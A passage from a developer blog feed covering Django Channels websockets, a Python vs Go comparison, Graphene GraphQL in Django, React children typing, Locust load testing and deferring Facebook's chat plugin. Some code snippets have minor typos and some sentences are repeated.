AuthMiddlewareStack is in charge of storing user data in Django’s session object.

Sending information through a web socket with JS

Now, to test it, we are going to open the console of our web browser at http://localhost:8000 and we are going to write the Javascript code to connect to our application using websockets.

Javascript provides us with a WebSocket object to handle connections, we will pass it the url ws://localhost:8000/ws/chat/ as a parameter so that it knows where it has to connect to.

const chatSocket = new WebSocket(
            'ws://'
            + window.location.host
            + '/ws/django/chat/'
        );

Now we are going to tell the socket what to do each time it receives a new message. In this case we will ask it to read the information in JSON format and to show us the information received in the console.

I have added a console.log to the event so you can see all the properties you have available to use in the frontend.

chatSocket.onmessage = function(e) {
            console.log(e)
            const data = JSON.parse(e.data);
            console.log(data)
}

Let’s try sending a message using its send method.

let message = "nuestro mensaje"
chatSocket.send(JSON.stringify({
                'message': message
            }));

If everything went well we should get a response with the message we sent.

Handling websockets in the Javascript Console

Ready, we can now send websocket messages to django and receive a response. But so far what we have done is a fairly simple interactive application that sends and returns text using the ws protocol, what if we want to take full advantage of channels to create applications where many users interact? In the next post I will talk about the channel layer and the channel groups.

Python vs Go Which is the Best Programming Language in 2025?

Tue, 02 Nov 2021 00:00:00 +0000

These last few months I have been learning go. How did it all start? Well, it started in a rather superficial way; I loved their mascot, yes, that’s really what it was all about. So after a brief mental debate, I decided to give the language a try. My first impression of it is that it is quite similar to Python; simple and easy to learn. Now that I have used it a bit more I bring you a comparison of go programming language vs python, where I will explain some of their differences, in case you are interested in learning one or the other this 2025.

By the way, here are my favorite resources for learning Python

TLDR Python vs Golang programming language

This table summarizes the whole article, if you want to go deeper just keep reading and scrolling.

Category	Go (Golang)	Python
Type	Compiled, strongly typed	Interpreted, dynamically typed
Performance	Blazingly fast (e.g., Fibonacci test)	Slower due to interpretation
Syntax	C-like, braces, no unused variables allowed	Clean, indentation-based, flexible
Concurrency	Goroutines (simple and powerful)	Async/await (single-threaded, GIL-limited)
Error Handling	Manual checks (`if err != nil`), no try-catch	Traditional try-except blocks
OOP	No classes; uses structs with emulated OOP features	Full OOP support (classes, inheritance)
Popularity	Growing, loved by devs (higher salaries)	More popular overall, dominant in AI/data science
Use Cases	DevOps (Docker, Kubernetes), high-speed backends	Machine learning, scripting, web dev (Django, Flask)
Frameworks	Fast (Echo, Gin), outperforms Python in benchmarks	Mature (Django, FastAPI), widely adopted
Packages	~350k (GitHub), no central repo	~336k (PyPI), vast ecosystem
Learning Curve	Slightly steeper (opinionated design)	Easier for beginners
Community	Smaller but passionate	Massive, extensive resources
Pros	Fast compilation, great for concurrency, strict conventions	Readable, versatile, rich libraries
Cons	Controversial error handling, no generics (initially), rigid	Slow, GIL limits threading, Python 2/3 split

Key takeaways:

Choose Go for speed, concurrency, or DevOps.
Choose Python for AI, data science, or rapid development.
Both have strong standard libraries but differ in philosophy and trade-offs.

Introduction and subtle differences between Python and Go

This comparison is going to be a bit sloppy, since we are going to compare Python, an interpreted language, and go, a compiled language. So we are already starting from quite big differences.

Python is an interpreted and imperative language while Go is a compiled, concurrent and imperative language.

I had already explained a bit about the differences between an interpreted and a compiled language in my python vs javascript comparison , so if you want to refresh your memory a bit go there.

Both languages are characterized by fast code production.

The compilation of go is extremely fast and, although it might be slightly slower to run than if you were using C++ or the hard to learn Rust language , product development and MVPs should take less time than with those languages.

Golang vs python performance

The comparison here is going to become somewhat unfair, but I’ll make it anyway: Go is blazingly fast compared to Python. Python’s performance is nothing compared to Go. The above difference is explained by the fact that Go is compiled, while Python is interpreted.

Python vs Golang performance in fibonacci by recursion

How fast is go compared to python? I made a small test using multitime to measure how long it takes to calculate the n fibonacci number for each language, 10 repetitions for each test, results are in seconds (smaller is better), note the radical difference in performance of both languages.

The lower the better. Go, being a compiled language is way faster than Python.

My opinion on the hatred of go

Go is a quite controversial language that triggers quite heated discussions. I leave you some examples below of how varied opinions are:

Complaints range from the simplicity of the language, to Robert Pike’s claim that it is a language for “not so bright” programmers, to the (now fixed) lack of generics.

My opinion? I think it’s certainly not the best designed language (I prefer Rust). So why use it? Google created the language based on a number of quite concrete problems; Go is the solution to these problems.

Go is good for a couple of things that programmers tend to overlook, the business part:

Iteration. Its fast compilation speed and ease of typing allow you to iterate faster than with other languages, which translates into more money and less long-term business risk.
Easy to learn. No, as much as we would all like to, your company is not going to fire the entire department to hire Rust or C++ programmers, it is easier to train programmers in Rust or C++.
Standard packages and library. Your company probably doesn’t have the time and resources for you to create code from scratch. Go has a fairly mature standard standard library that provides out of the box solutions for most needs.

Of course, this is not necessarily a good thing from the point of view of a technical profile, but you know first-hand that money often has a strong influence on business decisions.

Maturity in both languages

Python was created by Guido Van Rossum in the late 1980s. Go, on the other hand, is a much younger language than Python, released twenty years later, in 2009, and initially designed by Robert Griesemer, Rob Pike and Ken Thompson.

Types in Python and Go

Typed in Go

Go is a compiled language with strong typing, which requires that specify the data type when creating a variable. However, Go also has a way to let the compiler also has a way to let the compiler guess the type of the variable, under certain conditions, automatically.

// go default variable declaration and assignation
var explicitType int = 1
// Only inside a function scope
implicitTypeInsideAFunction := 1
// everything is good up to here, but the next line will throw an error
explicitType = 1.5
// Error: constant 1.5 truncated to integer

Typing in Python

Python is a strongly typed interpreted language; it does not require us to specify the variable type. We can change the type of a variable without any problem at any time. It implements optional typing as of version 3.5 but they are not forced by the interpreter.

# Python
number = [1]
number = {1:1}
number = 1
number = "1"
 # no error 'til here
number + 2
# TypeError: can only concatenate str (not "int") to str

Differences in Syntax Python vs Go

Syntax in go

Go bases its syntax heavily on C and takes some features from languages such as Python to favor the readability of its code. It stands out in that it does not has neither while nor do while loops. And, unlike Python, it does use braces.

The entry point of an application is its main function.

An interesting feature with respect to syntax is that the compiler does not will not run if it detects unused variables or errors in the braces of each function. So the go compiler forces you to write code following a set of conventions or best practices. a set of conventions or best practices.

//go
package main

import "fmt"
var explicitType int = 123

func sum(a, b int) (int, int){
    return a, b
}

func loop() {
  var array [10]int
  for i:= 0; i < 10; i++ {
    array[i] = i
    }
  }

func infiniteLoop() {
    for {}
    }

// main is the starting point of a program

func main() {
    implicitType := 23
    // Since we have unused variables this code WON'T compile
    fmt.Println("Hello world")
}

Another important thing, some developers say that go is oriented to object oriented, while others flatly state that it is not. The truth is that go does not direct support for classes, but instead uses structs that emulate polymorphism and polymorphism and encapsulation and other OOP features.

//go
type Person struct {
    Name string
    Sex string
}

// Every field from Person are inherited by Professor
type Professor struct {
    Person
}

// So we can call Professor.Greet()
func (p *Professor) Greet(){
    fmt.Println("Hello")
}

Python syntax

Python’s syntax is super clean, focused on code readability; it doesn’t use braces to separate code, but line no braces to separate the code, but line breaks and mandatory identations. And, unlike the Go compiler, the Python interpreter is not so strict.

Python is strongly object oriented and you are going to have all of the capabilities of an object-oriented language, except for the private, public and protected scopes characteristic of Java, C++ and other languages.

if True: 
    return "result"

print("You can also add a semicolon at the end, but it's not strong convention")

class MiClase:
    def __init__(self, property):
        self.property = property

def funcion(defaultArgument = "default", *args, **kwargs):
    my_arguments_list = args
    my_key_value_arguments = kwargs
    return my_arguments_list

try:
  do_something()
except:
  print("An exception occurred")

Asynchronism capability, Python vs Go

Asynchronism in go

One of the strong points of this language is the creation of concurrency by means of its goroutines, or goroutines and channels . Using them is quite simple, just add the word go before a function. We add a counter with Add and remove it with Done. When our wait group, wg, has zero counters, it will terminate execution.

Its concurrency capabilities make it ideal for web servers.

var wg sync.WaitGroup
wg.Add(1)
go func() {
  wg.Done()
}()
wg.Wait()

Asynchronism in Python

In Python, coroutines did not appear until version 3.5. Asynchronous functions run in a single thread and only switch to another coroutine when an asynchronous operation is encountered.

The same syntax as async and await is used. For this we use the library, gather all the tasks to be executed with gather and execute them with run.

import asyncio
import time

async def wait_two_second(name):
    await asyncio.sleep(3)
    print(name)

async def main():
    await asyncio.gather(wait_two_second("first"), wait_two_second("second"), wait_two_second("third"))

if __name__ == "__main__":
    asyncio.run(main())

This script will take three seconds to run.

Error handling comparison Python and Go

Error handling is something that is a fairly constant feature of languages, but in the case of go we find that the creators opted to abandon convention and it can be convention and it can be something different from what you are used to.

Error handling in go

Go has a rather peculiar way of handling errors. It does not have try and except blocks (or their equivalent in other languages). Instead, the execution of a function can return an error as a second return value, which we can get and check to see if an error has occurred and manually handle it.

message, err := requestToApiEndpoint("")
    if err != nil {
        log.Fatal(err)
    }

Error handling in Python

Python handles the classic try…except pattern that most programming languages handle, where errors are caught by the try…except

try:
  do_something()
except:
  print("An exception occurred")

Which language is worst, Python vs Go?

Not so cool things about go

Go is very opinionated. It has very rigid positions on certain things, such as the use of all variables, but leaves use of all variables, but leaves many others to good user handling, such as errors caused by pointers or null pointers. I would accuse Go of being inconsistent in that respect.

func forgetToCheckError() {
  result, err := accion()
  // We forgot to check for a nil pointer, but Go didn't force us
  print(result.algo)
  // runtime error:
  // panic: invalid memory address or nil pointer dereference
}

Or for example, the fact that you can return tuples, but you can’t use them in other part of the language.

// you CAN return tuples but you CANNOT use tuples
func returnTuple() {
    return 1, 2
}

It has no default values for the arguments of a function and you have to resort to trickery to have something similar to a function.

// This doesn't exist
func ThisFunctionDoesntExist(valor=1, valor2=2){
}

Error handling in Go it’s a sensitive topic among developers, who consider it inferior to other languages.

The following pattern will be recurrent and will repeat itself multiple times in your code, violating the DRY maxim.

if err != nil {
    return err
}

Not so cool things about python

Among the not-so-cool things about Python is the sharp separation that occurred between Python 2 and Python 3, leaving many libraries out of date or with a lot of patches to make cod patches to make the code compatible between the two versions.

Another rather problematic aspect is the excessive use of memory, along with the speed of the language; the Python interpreter is slow. Python is forced by default to by default to run on a single thread, because of its GIL , which does not allow full utilization by modern computers without complicating the code.

Support

Go, as of the date of writing this article, requires installation on the system, either from the official website or the repositories.

While Python has a quite wide support, as it is found in generally installed in all GNU/Linux distributions and you only need to open a terminal and type the word Python to start using it. Open a terminal and type the word Python to start using it.

Common usages of Python and Go

Go is widely used in Devops

Go can be used for almost anything, but it has a strong presence in devops tools, backend servers and blockchain. Docker, Traeffik, Docker compose, Kubernetes, Terraform and InfluxDB are all written in Go.

The docker containers are written using go .

Traefik, docker, kubernetes, influxdb, and terraform are all written in Go.

They have also created such great tools as Pocketbase , an excellent example of Backend as a service and open source alternative to firebase.

Python is generally used in machine learning

Python is a multi-purpose language, allowing you to create basically everything from native applications with user interface, programming networks or web servers, artificial intelligence, data science, web application development, or basic scripting. basic scripting.

Which one is more popular, Python vs Go?

To date Python is much more popular than Go. You can see that Go gained popularity between the period between 2011 and 2015, but stabilized to fall below Python.

Python is more popular than Go

Popularity among developers

Go is a very popular language among developers, even more than Javascript, but less loved than Python and Typescript.

In 2023 Stackoverflow replaced the survey with one that specifies the difference between those who want to use it and those who have already used it and want to continue using it.

Python vs Go salaries

Go developers tend to make significantly more money than the Python developers. In fact, Go is among the top 10 highest paid languages according to the languages according to stackoverflow’s 2023 survey.

Batteries included

Both languages have a library standard with most of the basic needs covered, from network basic needs covered, from network management, to code profiling, and even some less common and even some less common ones like audio handling. The included batteries are one of the features that make Python so popular.

Go is no slouch, it has understood quite well the benefits of a standard library and has included it for the enjoyment of its users. It is not It is not as large as Python’s but it covers most of the common needs and pales in comparison to other languages. needs and pales in comparison to other languages. Its standard testing library is impressive, it produces coverage reports and even profiling of the different parts of your code. different parts of your code.

You can see the available libraries and functions in the section

Packages

Packages in go

Go does not have an official package repository like Python does. The packages are obtained by go get (the equivalent of pip in Python) from different sources. It misses a standard solution, like npm in javascript, but you can see a list of available packages in Awesome Go

The import of modules and packages into Go may seem a bit strange to you. strange, there are no relative imports, like in Python or Javascript.

Screenshot of Awesome Go

Awesome Go features links to a large number of sorted Go packages by theme

To date, Go has around 350,000 packages registered on github. However, the fact that they are in github does not make them usable, so I consider that the number of packages is much smaller.

In summary, the go community is growing, but, for now, it is smaller than Python’s.

Python packages

Python has 336,000 in pypi, many of them are available to be using pip or any other package management tool.

Python has a gigantic community, compared to go, and they have packages for almost everything you can imagine.

The Python Pypi package index

Web frameworks

Web frameworks in go

The frameworks available for Go focus on speed. Since the language language is new, they are relatively young technologies but extremely fast and efficient, being efficient, being able to serve many, many requests per second. If speed is a is a requirement for your project, consider them seriously.

Go frameworks logos

How fast are Go web frameworks compared to Python web frameworks?

Check out these performance tests from techempower. The green bars correspond to Go frameworks, while the blue bars are for Python frameworks.

Enclosed in black are the number of requests per second supported by each framework (the more the better). As you can see, Go beats Python in performance.

Performance comparison of various web frameworks at techempower .

Performance tests for Python (purple) and Go frameworks (green)

Web frameworks in Python

While in Python we already have some well proven solutions, solutions, characterized by being very stable and with an answer for almost all the needs of a web and with an answer for almost all the needs of a web developer and that, in addition, support very popular sites with huge traffic, like pinterest or instagram. instagram.

Among the frameworks Django, one of the favorite frameworks of Python

Which one to choose Python vs go?

From my standpoint, if you need stability and time-tested solutions for your frameworks or you plan to enter the world of artificial intelligence, deep learning or data learning or data science, if you want a language that has a steep learning curve and a lot of and a large number of packages available that will save code for you and/or your save you and/or your team code, I’d go for Python.

On the other hand, if you are serious about devops and/or speed and concurrency are important features for the projects you plan to create, and you want to dedicate yourself to dedicate yourself to creating devop tools. If you don’t mind the steeper learning curve steeper learning curve that Go has (it’s not that steep either) compared to Python, then Go will probably seem like a better choice.

Anyway, now that you know a little bit of both languages you can take a much more informed decision based on your intentions and personal situation. You can always learn both and combine them to have the best of both worlds.

How To Create a Graphql API In Django Rapidly Using Graphene

Tue, 26 Oct 2021 00:00:00 +0000

In this post I will explain how Graphene allows you to speed up the process of creating a GraphQL API if you are using the Django Framework, as well as take advantage of the models you have already defined to perform queries or mutations.

Normally graphql is used in conjunction with Nodejs and express, or other javascript frameworks, to create a graphql API in which to make queries, but graphql can also be implemented with Python frameworks such as Django. We are going to create a django application that serves content with graphql using a cool library called graphene that abstracts almost all the boilerplate of integrating graphql with Django models.

Why use graphql?

Graphql allows you to integrate requests from multiple sources into a single API call. Unlike in a REST API , it consists of a single endpoint to which we can make certain queries (defined by ourselves in a schema, yes, as a schema) and get a response.

The schema tells graphql what kind of objects we will return and what fields of these objects, graphql will use a resolver to get that information from a database or any other reference.

Simplified graphql schematic in Javascript

Each query will be validated by graphql to return only what is allowed in the schema.

Should you use graphql?

I’m more a fan of keeping things as simple as possible and complicating them until necessary. Facebook created graphql for the purpose of making it easier to search for information in their application. Facebook requires a lot of information from different sources in order to work the way it does. Your application is probably not as complex and chaotic as facebook and does not face the same problems.

Each team or person should consider whether it is worth implementing graphql according to the short, medium and long term needs of the app to be built. Maybe REST is enough, or maybe not.

Installation of graphene-django

Let’s install graphene-django first. I will use the pipenv virtual environment manager, but you can use pip or any other you prefer.

I am going to create a project with a fairly simple application for this tutorial. This project features a single model.

pip install graphene-django==2.15.0 django
django-admin startproject criticaAnimes .
django-admin startapp anime

I will now create a single model in the app and add three instances using the admin. I have a post about the django admin in case you don’t know how to configure it.

# anime/models.py
from django.db import models

class Anime(models.Model):
    title = models.CharField(max_length=256)
    description = models.TextField()
    rating = models.PositiveSmallIntegerField()

Remember to run the migrations in case you have not done so, so that the changes in our app are reflected in the database.

python manage.py migrate

Now let’s install graphene in our Django application.

Graphene-django requires staticfiles to be installed in your application, so make sure you have it installed.

# criticaAnimes/settings.py
INSTALLED_APPS = [
    "django.contrib.staticfiles",
    "graphene_django"
]

As you know, unlike a REST API, Graphql has a single endpoint that receives the queries, so we only need to add a url to our application.

# criticaAnimes/urls.py
from graphene_django.views import GraphQLView
urlpatterns = [
    # ...
    path("graphql", GraphQLView.as_view(graphiql=True)),
]

The graphiql parameter tells django whether or not to serve the graphiql interface.

If we now try to access the url we just created, django will return an error warning us that we need a graphql schema.

Error due to missing schema in graphene

Let’s tell django where the location of our schema will be.

# criticaAnimes/settings.py
GRAPHENE = {
    "SCHEMA": "criticaAnime.schema.schema"
}

Our schema will be an object called schema that will be located inside a file called schema.py in our project folder.

I have put it here, but you can put it wherever you consider best and adjust the route to your location.

Create a schema with graphene

Now that we have a schema and django knows where to find it, we need to tell graphql how to handle our queries.

Here we are going to create an object that represents a graphql type. For this we create a class that inherits from DjangoObjectType and we specify the model and the fields in its Meta class.

This DjangoObjectType is the model that will be used as a base to handle graphql validations and tell Django which fields of our object to return.

# criticaAnimes/schema.py
import graphene
from graphene_django import DjangoObjectType

from anime.models import Anime

class AnimeType(DjangoObjectType):
    class Meta:
        model = Anime
        fields = ("id", "title", "description", "rating")

Now we are going to create a Query class that will contain each and every one of our queries, in the form of methods.

Returning lists with graphene

Next we look for our query to be a list of AnimeType objects (the one we just created in the previous step).

You could consider this property as the equivalent of a type or schema part in Javascript.

# criticaAnimes/schema.py
import graphene
from graphene_django import DjangoObjectType

# ...

class Query(graphene.ObjectType):
    all_animes = graphene.List(AnimeType)

Now we are going to tell it what should contain the query that solves all_animes, for that we are going to create a function with the following format <resolve + property_of_graphene>_ = resolve_property_graphene (resolve_all_animes).

You can consider this method as the equivalent of a resolver in Javascript.

Graphene will automatically take care of two things:

Associate the queryset that we return with the property
Transform the query to camel case (In this case allAnimes).

# criticaAnimes/schema.py
import graphene
from graphene_django import DjangoObjectType

# ...

class Query(graphene.ObjectType):
    all_animes = graphene.List(AnimeType)

    def resolve_all_animes(root, info):
        return Anime.objects.all()

schema = graphene.Schema(query=Query)

If for some reason you want to disable the transformation of the text to camel case indicate it in the schema object. I will leave it with the camel case activated.

# criticaAnimes/schema.py
# Only if you want to deactivate camelCase
schema = graphene.Schema(query=Query, auto_camelcase=False)

With the camel case activated, the query called allAnimes will return the result of the Anime.objects.all() queryset.

Returning queries with parameters

To create a new query with parameters we will add a new method to our Query object and follow the same formula: we will create a property and then join the name with the prefix resolve_.

However in this case we will use an argument, so we have to tell the name of the argument and the data type in graphql, in this case the argument will be called title and the data type will be String. Notice how we pass required to make it mandatory and its presence as an argument in the new method.

Remember that the result of the query is decided by us, I have used a simple icontains for a case insensitive search, but you can use whatever you want, even a full text search , advanced searches with trigrams with postgres or whatever you prefer.

# criticaAnimes/schema.py
import graphene
from graphene_django import DjangoObjectType

# ...

class Query(graphene.ObjectType):
    # ... 
    anime_by_title = graphene.List(AnimeType, title=graphene.String(required=True))

    # ...

    def resolve_anime_by_title(root, info, title):
        return Anime.objects.filter(title__icontains=title)

schema = graphene.Schema(query=Query)

Pagination in graphql using relays

To use pagination in our search we need to use the relay object we get from graphene and create a property in the Meta class of our graphql Type.

And an object that Connection with a node equal to our graphql type.

# criticaAnimes/schema.py
import graphene
from graphene import relay
from graphene_django import DjangoObjectType

from anime.models import Anime

class AnimeType(DjangoObjectType):
    class Meta:
        model = Anime
        interfaces = (relay.Node,)
        fields = ("id", "title", "description", "rating")

class AnimeConnection(relay.Connection):
    class Meta:
        node = AnimeType

class Query(graphene.ObjectType):
    # ...
    paginated_animes = relay.ConnectionField(AnimeConnection)
    # ...
    def resolve_paginated_animes(root, info, **kwargs):
        return Anime.objects.all()

schema = graphene.Schema(query=Query)

With this we will be able to make queries where we indicate the quantity of results that we want. And it will return us information regarding if we have a next page, the cursor of beginning, the cursor of end.

If you are confused, think of cursors as identifiers. In the query we are telling it to bring us the first two results, each one has a cursor, which is like its identifier, and a node, which contains the information we are interested in.

In addition to the objects we can obtain pagination information, such as the start cursor, the end cursor and whether there are pages before or after our query.

First two results

Graphene mutations

With this we can now handle most of the queries to read information that we can think of. But, what about the rest of the operations: creating, updating or deleting data? As you know, in graphql, these operations are handled by mutations.

We can customize the behavior of our mutations by creating a new object that inherits from Mutation.

Arguments and return of our mutation

Inside the object that inherits from Mutation we will place an Arguments class, which indicates the arguments that our mutation requires. In this case I have put all the fields with their respective types

The other two fields in the object refer to what the mutation will return when we execute it; in this case it is an Anime object, which corresponds to our model; and an ok field, to indicate that everything went well.

# criticaAnimes/schema.py
# ...
class CreateAnime(graphene.Mutation):
    class Arguments:
        title = graphene.String()
        description = graphene.String()
        rating = graphene.Int()

    ok = graphene.Boolean()
    anime = graphene.Field(AnimeType)

The mutate method

Now we create a method called mutate inside this same class. This object receives root, info and the arguments that we specify in class Arguments, inside the method we decide what happens.

I created an anime object, saved it to the database and returned the class with the anime object created and the word ok equal to True.

# criticaAnimes/schema.py
class CreateAnime(graphene.Mutation):
    # ...
    def mutate(root, info, title, description, rating):
        anime = Anime(title=title, description=description, rating=rating)
        anime.save()
        ok = True
        return CreateAnime(anime=anime, ok=ok)

Now that we have our behavior defined let’s create our mutation object, which will be received by the schema. Notice how all the behavior comes from the class we just created and the Mutation object only sets the name of the mutation we will use in our query.

# criticaAnimes/schema.py
# ...
class Mutation(graphene.ObjectType):
    create_anime = CreateAnime.Field()

schema = graphene.Schema(query=Query, mutation=Mutation)

That’s it, the createAnime mutation receives the three parameters we indicate and returns an anime object and the word ok as a response.

The graphene documentation is quite extensive and there are many more topics, I have only given you the basics and probably what you will use the most, but take a look and read everything graphene has to offer.

What Types to use for React components with children

Tue, 19 Oct 2021 00:00:00 +0000

If you’re struggling about what types to use for React components that have children in Typescript, so you can inherit them correctly and avoid errors, then this is the post you need to read, I explain you three different approaches you can save and use as a part of your typescript skills.

Typescript requires that we specify the types for the different variables and function arguments in React. When they are native types it is not intrincate, but for React components it can be different. Here are 3 ways to specify types for React components that contain children as part of their props.

Types With ReactNode

The easiest way is manually, by specifying children as an optional React node.

import React from 'react'

type props = {
    children?: React.ReactNode
}

const MyComponent = ({ children }: Props) => {
    return (
        <div>
            {children}      
        </div>
    )
}

export default MyComponent

Using React.FC

The second way is to use a FC (Functional Component) object provided by React, which leaves implicit the use of children and also prevents us from returning undefined. Consider that using React.FC is considered by some developers as a bad practice .

import React from 'react'

const MyComponent: React.FC<{}> = ({ children }) => {
    return (
        <div>
            {children}      
        </div>
    )
}

export default MyComponent

React.PropsWithChildren

The last way is to make use of the PropsWithChildren object provided by React which, as its name says, already includes the props with the children component, ready to be used directly.

import React from 'react'

type Props = React.PropsWithChildren<{}>

const MyComponent = ({ children }: Props) => {
    return (
        <div>
            {children}      
        </div>
    )
}

export default MyComponent

See what Typescript has to say on React at their official documentation

How to measure requests per second with locust in python?

Tue, 12 Oct 2021 00:00:00 +0000

There are quite simple to use tools that allow us to audit the number of requests per second (rps) that a website supports, locust is one of them, it is made with Python and with a minimal configuration allows us to process information and obtain graphs instantly, and in real time, of the behavior of our website.

Install locust

The first step is to install it using pip or any virtual environment manager.

pip install locust==2.2.3

Locust configuration

Once installed we are going to create a file obligatorily named locustfile.py in our application and we are going to place the following code in it.

from locust import HttpUser, task

class HelloWorldUser(HttpUser):
    @task
    def test_home(self):
        self.client.get("/")

We create a class that imports from Httpuser and assign it a method with the task decorator. Below we use the get method of client and pass it the path to which the request will be made.

Now we execute the locust command from the terminal.

locust

After executing it we will have a server running at http://localhost:8089/. If we enter we will see a screen like this:

Here we place, in order:

The number of total users,
The speed at which locust will create users per second
The host to test.

We fill in the data, I will use 200 users, 2 users created per second and http://localhost:1323, which directs to a local web server.

Press the “start swarming” button and locust will take care of the rest, gradually increasing the number of users.

Watch real-time monitoring. To stop it press the stop button in the upper right corner.

Metrics in locust

The statistics tab gives us the following information.

Type of request
Name of the route
Number of requests
Number of failures
Average response time
The response time for the 90th percentile,
Their average, minimum and maximum values
Response size
Requests per second
Current failures

Graphics in locust

When we stop the test, we will have downloadable charts in the charts tab.

The first with the number of requests per second on the Y-axis.

The second with the response time on the y-axis.

Finally, the third one, with the number of users on the Y-axis.

Add more requests per user

We can create custom behavior for our users by adding more user actions by making more get requests via the client object.

from locust import HttpUser, task

class HelloWorldUser(HttpUser):

    @task
    def test_home(self):
        self.client.get("/")
        self.client.get("/about")

This tells locust that each user will make a request to the root path and then a request to the /about path. And so we can add as many requests per user as we want.

Adding users with different behaviors in Locust

As you know, we can’t expect every user to go first to home and then to the about (or any other) section, real users don’t behave like that. Each function decorated with @task represents a different behavior, so if we add more decorated functions we will have more behaviors available.

When a user is created, Locust will assign it to the behavior of a single role decorated with @task. How does it decide which one? Randomly, with the same weight for each role; if there are two roles decorated with @task half of the users generated by locust will go to one task and the other half to the other.

from locust import HttpUser, task, between

class HelloWorldUser(HttpUser):

    @task
    def test_home(self):
        self.client.get("/")
        self.client,get("/about")

    @task
    def test_about(self):
        self.client.get("/feed")

When a fake user is created it will have a 50% chance of being assigned to one of these two behaviors:

Visit home (/) and then visit the about section.
Visit the feed section

Assigning different weights

But what if we know that three times as much of our traffic goes to feed instead of home?

If we pass a number as an argument to the @task decorator, it will use it as a weighting to load traffic in proportion to the value we specify.

from locust import HttpUser, task, between

class HelloWorldUser(HttpUser):

    @task
    def test_home(self):
        self.client.get("/")
        self.client,get("/about")

    @task(3)
    def test_about(self):
        self.client.get("/feed")

Now the users created will also be redirected to /feed, and not only that, but each user generated is three times more likely to go to /feed, so that route will receive more traffic.

POST requests in locust

What about POST requests? Well, locust also allows you to make POST requests, just use the client post method instead of get

from locust import HttpUser, task, between

class HelloWorldUser(HttpUser):

    wait_time = between(1, 5)

    @task
    def test_home(self):
        self.client.get("/")

    @task(3)
    def test_about(self):
        self.client.get("/feed")

    @task(2)
    def test_login(self):
        self.client.post("/login", {"username":"testuser", "password":"secret"})

But what if the request fails, what if we want to evaluate the effect that a certain POST request has on a route? For that we can use the response object.

The response object in Locust

Each request we make will return a response object, which contains information about the result of our request.

We can wrap our request in a Python with block and assign it to a response object. This object will have multiple properties, just to name a few:

cookies
apparent_encoding
status_code
success
text
url
content
connection
elapsed
history
request
request_meta

Analysing errors

Knowing the above we can obtain the different data related to the request and customize our monitoring flow. Observe:

from locust import HttpUser, task, between

class HelloWorldUser(HttpUser):

    wait_time = between(1, 5)
    # ...

    @task
    def non_existing_url(self):
        with self.client.get("/non-existing-url", catch_response=True) as response:
            if response.text != "Success":
                response.failure("Wrong request, this shouldn't exist")
            elif response.status_code < 400:
                response.failure("This url's response should be less than 400 because it doesn't exists")
            elif response.elapsed.total_seconds() > 0.5:
                response.failure("Slow response")

In the previous example, when trying to access a path that does not exist, the first conditional will be executed and will create a failure with the text “Wrong answer”, which we will be able to see in the failure section of the interface.

In addition to testing the text in the response it is possible to test the other properties of the response object, such as the response code or the time it takes to return a response.

Success management

We can also call the success method of the response object to indicate a successful response according to any behavior we want.

from locust import HttpUser, task, between

class HelloWorldUser(HttpUser):

    wait_time = between(1, 5)
    # ...

    @task
    def non_existing_url(self):
        with self.client.get("/non-existing-url", catch_response=True) as response:
            if response.status_code == 404:
                response.success()

Group multiple urls in one category

Locust shows us the results per route, but what if we want multiple routes to be evaluated in batch, as if they were the same? Either because those routes are handled by the same server or come from the same function or any other reason.

@task
def test_no_posts(self):
    for post in ["post-1", "post-2", "post-3"]:
        self.client.get("/post/{}".format(post), name="/post/[slug]")

This function will traverse the array and make a request to each item in the list and group them all under the name /post/[slug].

Emulate the behavior of users with between

As you know, user traffic is not regular, sometimes there are many requests and sometimes few. A system has to be able to handle both cases.

To simulate user behavior we can set a random timeout for each request by assigning the wait_time property and using between each user will wait from 1 to 5 seconds before their next request.

from locust import HttpUser, task, between

class HelloWorldUser(HttpUser):

    wait_time = between(1, 5)

    @task
    def hello_world(self):
        self.client.get("/")

Customized user behavior curves

Sometimes we need more realistic curves, so we need to customize the number of active users and the speed at which they are generated, in order to modify it according to what we would expect in a real situation for our website.

Locust will detect any class that inherits from LoadTestShape in locusfile.py automatically and will use its tick method to return a tuple with the number of users and their generation rate, or None to stop the test. The run_time method, which returns the time that has elapsed, will be available for us to use as we wish.

tick will be called every second to get the users, so you can play with the time to generate the number of users and the speed of generation to create the user curve you want.

from locust import HttpUser, task, between, LoadTestShape
import random

class RandomUsers(LoadTestShape):
    time_limit = 20 # Tiempo de duración de la prueba
    spawn_rate = 20 

    def tick(self):
        run_time = self.get_run_time()

        if run_time < self.time_limit:
            users = random.randint(5,50)
            spawn = random.randint(5,50)
            return (users, spawns)

        return None

I have let the return data be generated randomly, but you can use a more complex behavior.

Export locust data to csv

In the web interface we can export our results in the “Download data” tab but we can also generate them in the project folder directly from the command line.

We select the headless option so that it does not load the web interface, csv will be the prefix of the csv files and host for the address of the server to test.

locust --csv=prefijo_archivos_csv --headless --host=http://127.0.0.1:1323
ls
locustfile.py Pipfile Pipfile.lock prefijo_archivos_csv_exceptions.csv prefijo_archivos_csv_failures.csv prefijo_archivos_csv_stats.csv prefijo_archivos_csv_stats_history.csv

Deepen Locust

In addition to what I have told you here, locust has hooks for events, as well as a faster client for your requests, visit the Locust documentation for more information.

Facebook's plugin chat how to decrease its impact?

Tue, 05 Oct 2021 00:00:00 +0000

The facebook chat plugin allows you to add a page button that connects to the chat of a facebook fanpage. But, as you know, facebook is monopolistic and the default installation loads the plugin first, making your website slower and affecting the web vitals indicators of the pages. There are some ways to mitigate this.

The impact of the facebook chat plugin

Loading the facebook plugin triggers a long list of web requests that download about many MB of information and consumes valuable time that can impact your page load, watch.

95 requests and about 3 mb downloaded, 4 seconds.

Third-party plugins can strongly impact the metrics and performance of your web pages, both frontend and backend.

Delay plugin loading

The facebook plugin requires two html tags:

<!-- Messenger plugin de chat Code -->
<div id="fb-root"></div>
<!-- Your plugin de chat code -->
<div id="fb-customer-chat" class="fb-customerchat"></div>

To mitigate the effect of the facebook chat plugin several actions can be performed: we can delay its loading until a certain amount of time has elapsed, also delay it until a user interaction among other things. The optimal solution depends on how your users behave and the website you have.

I will delay loading until the user interacts with the chat.

To begin with, we will place a fake icon in place of the original one. This icon is the same one that facebook downloads. Since it is a simple image, it does not load any JS code nor is it accompanied by any request to the facebook servers.

We will identify this fake facebook icon by its id: fb-chat-logo

